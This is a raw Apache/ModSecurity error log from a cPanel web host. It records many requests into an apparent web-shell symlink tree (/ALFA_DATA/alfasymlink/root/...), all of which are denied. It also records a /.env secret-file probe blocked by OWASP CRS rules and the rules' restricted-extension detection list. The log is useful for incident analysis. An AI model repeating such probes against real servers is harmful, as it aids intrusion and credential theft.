[Mon Oct 26 07:38:46.361962 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53448] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87uqXMILbsMtUzObzKDwAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 07:38:54.232246 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 3.215.59.93:9175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:58.268025 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 44.205.192.249:19596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:18.200515 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 100.24.149.244:39176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:19.070681 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 185.191.171.19:36492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/iomem_base
[Mon Oct 26 07:39:22.444060 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 44.223.116.180:50076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:30.170597 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 44.193.115.232:13098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:36.461492 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 185.191.171.16:21882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:46.180355 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 34.193.2.57:60685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory10/subsystem/drivers_probe
[Mon Oct 26 07:39:50.172459 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 107.20.181.148:46899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:39:58.231029 2026] [ssl:error] [pid 3023410:tid 3023410] (70014)End of file found: [client 52.2.83.227:62244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:40:06.206557 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 100.29.63.24:47180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:40:18.234609 2026] [core:error] [pid 3023419:tid 3023419] (13)Permission denied: [client 54.204.62.163:3134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input5/device/driver/module/uevent
[Mon Oct 26 07:40:22.151494 2026] [ssl:error] [pid 3023410:tid 3023410] (70014)End of file found: [client 23.21.250.48:57858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:40:27.156991 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 85.208.96.208:50424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/red_zone
[Mon Oct 26 07:40:38.159251 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 35.171.117.160:2909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/iomem_reg_shift
[Mon Oct 26 07:40:42.152459 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 52.204.71.8:13064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:40:46.177033 2026] [ssl:error] [pid 3023667:tid 3023667] (70014)End of file found: [client 18.208.11.93:40587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:40:50.180041 2026] [ssl:error] [pid 3023419:tid 3023419] (70014)End of file found: [client 3.208.156.9:40391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:02.177299 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 54.225.148.123:64793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:05.464176 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 185.191.171.1:31036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/total_objects
[Mon Oct 26 07:41:10.299595 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.91.122.193:65264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:30.217004 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 98.83.177.42:33046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:34.153856 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 98.82.63.147:7782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:34.154110 2026] [security2:error] [pid 3023393:tid 3023393] [client 98.82.63.147:7782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/event1/device/device/power/wakeup_active_count"] [unique_id "at88bhuQQn9l7nrKN7L5kgAAABo"]
[Mon Oct 26 07:41:34.154157 2026] [security2:error] [pid 3023393:tid 3023393] [client 98.82.63.147:7782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/event1/device/device/power/wakeup_active_count"] [unique_id "at88bhuQQn9l7nrKN7L5kgAAABo"]
[Mon Oct 26 07:41:40.394463 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 85.208.96.195:50692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/min_partial
[Mon Oct 26 07:41:50.321391 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 23.21.204.95:2608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:41:54.375158 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 23.21.250.48:44267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:10.297909 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 23.23.137.202:36504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:22.190276 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 34.225.87.80:23615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:24.661972 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.164:62108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at88oCKpP9Qw_qyzfEDASwAAABE"]
[Mon Oct 26 07:42:24.662517 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.164:62108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at88oCKpP9Qw_qyzfEDASwAAABE"]
[Mon Oct 26 07:42:24.663023 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.164:62108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at88oCKpP9Qw_qyzfEDASwAAABE"]
[Mon Oct 26 07:42:34.905329 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 185.191.171.8:35756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:38.148488 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.204.150.196:46659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:54.290229 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.224.132.215:62721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:42:58.174434 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 50.19.79.213:49316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:06.160418 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 18.214.138.148:45034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:11/eject
[Mon Oct 26 07:43:15.254653 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 18.215.77.19:31506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:26.249979 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 54.83.180.239:35245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:30.248689 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 34.238.45.183:17187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:35.503940 2026] [security2:error] [pid 3024444:tid 3024444] [client 16.216.88.195:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at88528sSiC0F8_VnnVWRAAAAAk"]
[Mon Oct 26 07:43:35.504420 2026] [security2:error] [pid 3024444:tid 3024444] [client 16.216.88.195:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at88528sSiC0F8_VnnVWRAAAAAk"]
[Mon Oct 26 07:43:35.504763 2026] [security2:error] [pid 3024444:tid 3024444] [client 16.216.88.195:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at88528sSiC0F8_VnnVWRAAAAAk"]
[Mon Oct 26 07:43:38.162164 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 52.4.76.156:7548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:42.194455 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 98.82.59.253:13709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:43:46.179883 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 34.231.77.232:22624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:02.154370 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 18.213.70.100:23124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:09/subsystem/drivers_probe
[Mon Oct 26 07:44:14.216040 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 18.207.79.144:12078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:18.197640 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 98.83.8.142:53999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:22.136628 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 44.206.65.8:58646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:26.199177 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 54.167.32.123:45736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:30.162848 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 35.174.253.85:46643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:38.184126 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 50.19.79.213:11198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:42.150571 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 44.207.207.36:13078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:46.481674 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 3.222.190.107:26762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:44:54.253027 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 54.86.59.155:31125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/close_delay
[Mon Oct 26 07:45:06.157471 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.84.250.51:25211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:45:26.165970 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 18.233.24.238:56706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pcieport/uevent
[Mon Oct 26 07:45:30.404357 2026] [security2:error] [pid 3023341:tid 3023341] [client 85.208.96.200:21770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/simpleps"] [unique_id "at89WoAjAiW0BJRhWhrVuQAAAAc"]
[Mon Oct 26 07:45:30.404393 2026] [security2:error] [pid 3023341:tid 3023341] [client 85.208.96.200:21770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/simpleps"] [unique_id "at89WoAjAiW0BJRhWhrVuQAAAAc"]
[Mon Oct 26 07:45:34.137765 2026] [core:error] [pid 3024444:tid 3024444] (13)Permission denied: [client 52.21.62.139:45216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/uevent
[Mon Oct 26 07:45:38.216934 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 52.5.232.250:27660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:45:42.134223 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 52.203.152.231:11144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:45:54.144841 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 3.231.193.38:31389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:45:58.179285 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 18.214.124.6:61216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:45:59.509213 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 185.191.171.17:47106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:06.155052 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.22.64.232:49601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:13.181506 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 85.208.96.200:49748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:13.218938 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 85.208.96.200:49758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:22.226334 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 3.93.98.99:54753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:26.166862 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 44.223.232.55:20003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ehci-pci/uevent
[Mon Oct 26 07:46:30.145215 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 44.208.193.63:57355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:34.130548 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 34.231.45.47:15140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:36.679101 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 85.208.96.210:58416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/cache_dma
[Mon Oct 26 07:46:42.124693 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 52.204.71.8:62347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:46:54.144158 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.196.237.236:60444] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:01.717797 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 85.208.96.202:52178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/slabs_cpu_partial
[Mon Oct 26 07:47:14.330169 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 52.200.54.136:44367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:18.131563 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.218.35.239:41083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:22.145952 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 107.20.224.184:54903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:26.117216 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 3.223.134.5:22107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:34.142108 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.84.147.79:6069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:47:46.139590 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.84.250.51:28762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:48:06.134237 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 35.173.18.61:48573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:48:41.827576 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 85.208.96.207:48194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/align
[Mon Oct 26 07:48:42.142393 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.84.250.51:41780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:48:46.119029 2026] [ssl:error] [pid 3023413:tid 3023413] (5)Input/output error: [client 98.83.178.66:48863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:48:52.349217 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 85.208.96.205:18354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/min_partial
[Mon Oct 26 07:48:58.118870 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 44.206.65.8:44600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:02.129299 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.166.104.83:45305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:06.134406 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 52.73.142.41:38563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:10.168409 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 3.230.224.6:60953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:14.124327 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 44.213.36.21:4781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:26.142507 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 34.202.88.37:19943] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:03/physical_node/resource0
[Mon Oct 26 07:49:30.152689 2026] [proxy_fcgi:error] [pid 3019696:tid 3019696] [client 18.205.91.101:5356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 07:49:34.122526 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 52.3.127.170:7405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:42.129434 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 52.71.218.25:49609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:49:46.053912 2026] [core:error] [pid 3023345:tid 3023345] (13)Permission denied: [client 185.191.171.16:33632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/order
[Mon Oct 26 07:50:02.240506 2026] [ssl:error] [pid 3024444:tid 3024444] (5)Input/output error: [client 52.71.216.196:22301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:10.125241 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 44.205.120.22:24387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:18.124660 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 54.83.56.1:5351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:26.247074 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 44.215.231.15:29770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:34.117050 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 185.191.171.11:50522] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:34.117519 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 3.214.176.44:43331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:50:54.154021 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 98.84.70.201:14911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:02.256045 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.166.104.83:3925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:18.206517 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 184.73.68.20:56277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:26.124168 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 98.82.39.241:21203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:30.122176 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 44.221.180.179:17230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:34.131318 2026] [ssl:error] [pid 3024443:tid 3024443] (5)Input/output error: [client 100.29.155.89:49762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:42.246890 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 23.22.105.143:56064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/new_id
[Mon Oct 26 07:51:52.644592 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 85.208.96.199:34346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/shrink
[Mon Oct 26 07:51:54.122164 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.221.156.96:28287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:51:56.477094 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 185.191.171.1:54444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/poison
[Mon Oct 26 07:51:58.150313 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 54.225.199.17:61795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:52:45.402732 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 85.208.96.200:39782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/scsi_host/host1/host_reset
[Mon Oct 26 07:52:50.135676 2026] [core:error] [pid 3023345:tid 3023345] (13)Permission denied: [client 50.16.72.185:37020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/button/bind
[Mon Oct 26 07:52:54.138138 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 54.83.180.239:50693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:52:58.228153 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 34.204.150.196:52355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:18.189542 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 23.23.212.212:47507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:26.139088 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 52.204.37.237:7718] AH02013: coalesce failed to read from data bucket
